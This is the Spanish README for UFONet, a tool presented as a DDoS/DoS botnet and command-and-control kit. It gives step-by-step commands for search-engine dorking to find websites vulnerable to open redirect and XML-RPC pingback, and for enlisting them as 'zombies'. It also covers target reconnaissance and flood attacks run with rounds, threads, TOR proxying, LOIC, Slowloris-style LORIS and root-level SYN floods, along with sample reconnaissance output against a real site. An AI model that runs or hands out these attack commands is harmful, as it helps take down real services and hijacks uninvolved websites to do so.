=========================================================================== 888 888 8888888888 .d88888b. 888b 888 888 888 888 888 d88PY888b 8888b 888 888 888 888 888 888 888 88888b 888 888 888 888 8888888 888 888 888Y88b 888 .d88b. 888888 888 888 888 888 888 888 Y88b888 d8P Y8b 888 888 888 888 888 888 888 Y88888 88888888 888 Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888 =========================================================================== Bienvenida a UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-) =========================================================================== ############################### # Información del proyecto ############################### - Website: https://ufonet.03c8.net - IRC: irc.freenode.net - #ufonet ############################### # FAQ/Preguntas frecuentes ############################### https://ufonet.03c8.net/FAQ.html ############################### # Introducción ############################### UFONet - es un conjunto de herramientas diseñado para lanzar ataques DDoS y DoS. En los siguientes enlaces tienes más información: - CWE-601:Open Redirect: http://cwe.mitre.org/data/definitions/601.html - OWASP:URL Redirector Abuse: https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2 ############################### # Instalando ############################### UFONet funciona en muchas plataformas. Requiere Python (>2.7.9) y las siguientes librerías: python-pycurl - Python bindings to libcurl python-geoip - Python bindings for the GeoIP IP-to-country resolver library python-whois - Python module for retrieving WHOIS information - Python 2 python-crypto - Cryptographic algorithms and protocols for Python python-requests - elegant and simple HTTP library for Python2, built for human beings python-scapy - Packet generator/sniffer and network scanner/discovery Puedes obtener todas las librerías requeridas automáticamente usando: python setup.py install Para instalarlas manualmente en sistemas basados en Debian (ex: Ubuntu), lanza: sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy En otros sistemas como: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... también lanzar: pip install geoip pip install requests pip install pycrypto Paquetes fuente de las librerías: * Python: https://www.python.org/downloads/ * PyCurl: http://pycurl.sourceforge.net/ * PyGeoIP: https://pypi.python.org/pypi/GeoIP/ * PyWhois: https://pypi.python.org/pypi/whois * PyCrypto: https://pypi.python.org/pypi/pycrypto * PyRequests: https://pypi.python.org/pypi/requests * PyScapy: https://pypi.org/project/scapy/ * Leaflet: http://leafletjs.com/ (provided) ############################### # Buscando 'zombies' ############################### UFONet puede buscar en los resultados de diferentes motores de búsqueda para encontrar posibles sitios web vulnerables a 'Open Redirect'. Generalmente los parámetros de las peticiones, suelen ser similares a los siguientes: 'proxy.php?url=' 'check.cgi?url=' 'checklink?uri=' 'validator?uri=' Por ejemplo, puedes comenzar una búsqueda con: ./ufonet -s 'proxy.php?url=' O utilizando una lista de "dorks" que tengas en un fichero: ./ufonet --sd 'dorks.txt' Por defecto, UFONet utiliza un motor de búsqueda que se llama 'Yahoo'. Pero puedes elegir uno diferente: ./ufonet -s 'proxy.php?url=' --se 'bing' Ésta es la lista de motores de búsqueda que funcionan con la fecha de la última vez que se han probado: - bing [26/09/2018: OK!] - yahoo [26/09/2018: OK!] También puedes buscar masívamente utilizando todos los motores de búsqueda soportados: ./ufonet -s 'proxy.php?url=' --sa Para controlar cuantos 'zombies' recibir como resultado puedes utilizar: ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20 O puedes hacer que la herramienta búsque de manera autómatica el mayor número posible de resultados (ésto puede tardar bastante tiempo!): ./ufonet --auto-search Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido, para ver si las urls son vulnerables. Want to check if they are valid zombies? (Y/n) También serás preguntado por si quieres actualizar tu lista de 'zombies' añadiendo solamente aquellas aplicaciones web que sean vulnerables. Want to update your list? (Y/n) Si respondes 'Y', tus nuevos 'zombies' se sumarán al fichero: zombies.txt ------------- Ejemplos: + con detalle: ./ufonet -s 'proxy.php?url=' -v + con hilos: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100 ############################### # Probando la botnet ############################### UFONet puede probar si tus 'zombies' son vulnerables y si pueden ser usados para tareas de ataque. Por ejemplo, abre 'botnet/zombies.txt' (u otro fichero) y crea una lista de posibles 'zombies'. Recuerdas que las urls de los 'zombies' deberían ser algo así: http://objetivo.com/check?uri= Después de eso, lanza: ./ufonet -t 'botnet/zombies.txt' Puedes hacer pruebas para descubrir 'zombies' relacionados con la vulnerabilidad XML-RPC Pingback, mediante: ./ufonet --test-rpc Para probar si tus 'zombies' siguen infectados (ésto puede tardar bastante tiempo!): ./ufonet --test-all Y para probar si tus 'zombies' siguen conectados a internet: ./ufonet --test-offline Finalmente, puedes ordenar a tus 'zombies' que te ataquen a ti mismo, para ver como responden a tus necesidades: ./ufonet --attack-me Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido, para ver si las urls son vulnerables. Want to check if they are valid zombies? (Y/n) Si respondes 'Y', tu fichero: "botnet/zombies.txt" será actualizado. ------------- Examples: + con detalle: ./ufonet -t 'botnet/zombies.txt' -v + con proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118" + con hilos: ./ufonet -t 'botnet/zombies.txt' --threads 50 + probar botnet: ./ufonet --test-all + probar XML-RPCs: ./ufonet --test-rpc + buscar 'offlines': ./ufonet --test-offline + auto-atacarte: ./ufonet --attack-me ############################### # Inspeccionando un objetivo ############################### UFONet puede buscar el fichero más grande de tu objetivo analizándolo: ./ufonet -i http://target.com Puedes utilizar el resultado para hacer tus ataques más efectivos: ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx" ------------- Ejemplo: +input: ./ufonet -i http://target.com +output: [...] +Image found: images/wizard.jpg (Size: 63798 Bytes) ------------ +Style (.css) found: fonts.css (Size: 20448 Bytes) ------------ +Webpage (.php) found: contact.php (Size: 2483 Bytes) ------------ +Webpage (.php) found: about.php (Size: 1945 Bytes) ------------ +Webpage (.php) found: license.php (Size: 1996 Bytes) ------------ ================================================================================ =Biggest File: http://target.com/images/wizard.jpg ================================================================================ ------------- ############################### # Abduciendo un objetivo ############################### UFONet puede entregarte bastante información interesante de tu objetivo: ./ufonet -x http://target.com ------------- Ejemplo: +input: ./ufonet -x https://yahoo.com +output: [...] -Target URL: https://yahoo.com -IP : 206.190.39.42 -IPv6 : OFF -Port : 443 -Domain: yahoo.com -Bytes in : 550.09 KB -Load time: 9.10 seconds -Banner: ATS -Vía : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer), http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]) -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-) -Reports: + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671 + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660 [...] --------- [Info] Abduction finished... ;-) ------------- ############################### # Atacando un objetivo ############################### UFONet puede atacar a tus objetivos de muchas maneras. Por ejemplo, introduce un objetivo para atacar con un número de rondas: ./ufonet -a http://target.com -r 10 En el ejemplo, UFONet atacará el objetivo un número de 10 veces por cada 'zombie'. De manera que si tienes una lista de 1.000 'zombies', lanzará 1.000 'zombies' x 10 rondas = 10.000 peticiones al objetivo. Por defecto se aplicará únicamente 1 ronda. Además, puedes elegir el lugar para recargar el sitio el objetivo. Por ejemplo, una imagen grande, un fichero que ocupe mucho o una película de flash. En algunos escenarios donde los objetivos no utilizan sistemas de cache, ésto hará tu ataque más efectivo. ./ufonet -a http://target.com -b "/images/big_size_image.jpg" ------------- Examples: + con detalle: ./ufonet -a http://target.com -r 10 -v + con proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118" + con un lugar ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg" + con hilos: ./ufonet -a http://target.com -r 10 --threads 500 ############################### # Ataques Especiales ############################### UFONet utiliza diferentes maneras para explotar las vulnerabilides 'Open Redirect'. Puedes usar UFONet para estresar la base de datos de tu objetivo mediante la petición de cadenas aleatorias válidas como si fueran búsquedas: ./ufonet -a http://target.com --db "search.php?q=" También explota (por defecto) una vulnerabilidad en XML-RPC Pingback, generando peticiones que requieren respuesta e incrementando el procesamiento que requiere el objetivo. Puedes probar tu lista de zombies "X-RPCs" lanzando: ./ufonet --test-rpc Al mismo tiempo, puedes conectar LOIC (con soporte para proxy), para hacer un número determinado de peticiones recursivas directamente sobre tu objetivo: ./ufonet -a http://target.com --loic 100 Puedes conectar LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web se vuelva lento: ./ufonet -a http://target.com --loris 100 Y también puedes conectar UFOSYN (requiere acceso mediante 'root') para comenzar un poderoso ataque de inundación TCP/SYN: sudo python ufonet -a http://target.com --ufosyn 100 Ambos ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo: ./python ufonet -a http://target.com --loic 100 --loris 100 sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 ############################### # Actualizando ############################### UFONet implementa una opción para actualizarse automáticamente a la última versión estable. Para poder hacerlo tienes que haber clonado la herramienta desde el repositorio de GitHub. Lanza el siguiente comando para chequear si necesitas actualizaciones: ./ufonet --update Ésto actualizará la herramienta automáticamente borrando todos los ficheros del anterior paquete. ############################### # Generando un 'Blackhole' ############################### UFONet tiene algunas opciones P2P para compartir/mantener 'zombies' con otras 'naves madre". * Configura un servidor web con una carpeta llamada "ufonet", con las siguientes características: - localizado en /var/www/ufonet (por defecto en debian/ubuntu) - creado por el mismo usuario que ejecuta el "agujero negro" (blackhole) - que sea accesible desde http://tu-ip/ufonet/ * Comienza el "agujero negro" con: ./ufonet --blackhole (or python2 blackhole.py) * Cualquiera que quiera conectarse con tu servidor necesita configurar --up-to/--down-from con la ip de tu servidor web... [!]ATENCIÓN : ésta función "AVANZADA" puede "NO" ser segura, ejecútala si realmente lo necesitas. Para lanzar un nuevo "agujero negro", utiliza: ./ufonet --blackhole ############################### # GUI/Web Interface ############################### Puedes controlar UFONet utilizando una interfaz Web. La herramienta implementa un servidor web en python conectado al núcleo para que tengas unas experiencia más amigable. Para lanzarla usa: ./ufonet --gui Ésto abrirá una pestaña (o una ventana nueva) en tu navegador por defecto, con todas las opciones de la herramienta más algunas "extra": - NEWS: Permite leer las últimas "noticias" publicadas por la "nave madre" - MISSIONS: Permite leer las últimas "misiones" publicadas por la "nave madre" - SHIP STATS: Permite consultar las estadísticas de tu "nave" - BOARD: Permite enviar/recibir mensajes con una "nave madre" (un foro) - WARPS: Permite interactuar con una "nave madre" para subir/bajar 'zombies' - GLOBAL GRID: Permite revisar las estadísticas de otras "naves" - WARGAMES: Permite proponer y participar en algunos "juegos de guerra" reales ############################### # Timelog ############################### -------------------------- 26.09.2018 : v.1.1 -------------------------- -------------------------- 08.03.2018 : v.1.0 -------------------------- -------------------------- 14.07.2017 : v.0.9b -------------------------- -------------------------- 21.10.2016 : v.0.8b -------------------------- -------------------------- 17.08.2016 : v.0.7b -------------------------- -------------------------- 05.11.2015 : v.0.6b -------------------------- -------------------------- 24.05.2015 : v.0.5b -------------------------- -------------------------- 15.12.2014 : v.0.4b -------------------------- -------------------------- 27.09.2014 : v.0.3.1b -------------------------- -------------------------- 20.09.2014 : v.0.3b -------------------------- -------------------------- 22.06.2013 : v.0.2b -------------------------- -------------------------- 18.06.2013 : v.0.1b -------------------------- ############################### # Gracias a ############################### - UFo & Mandingo & Ikujam - Phineas Fisher ;-) - The Shadow Brokers (TSB) ;_) - World Wide Antifas >-) ------------------------ ############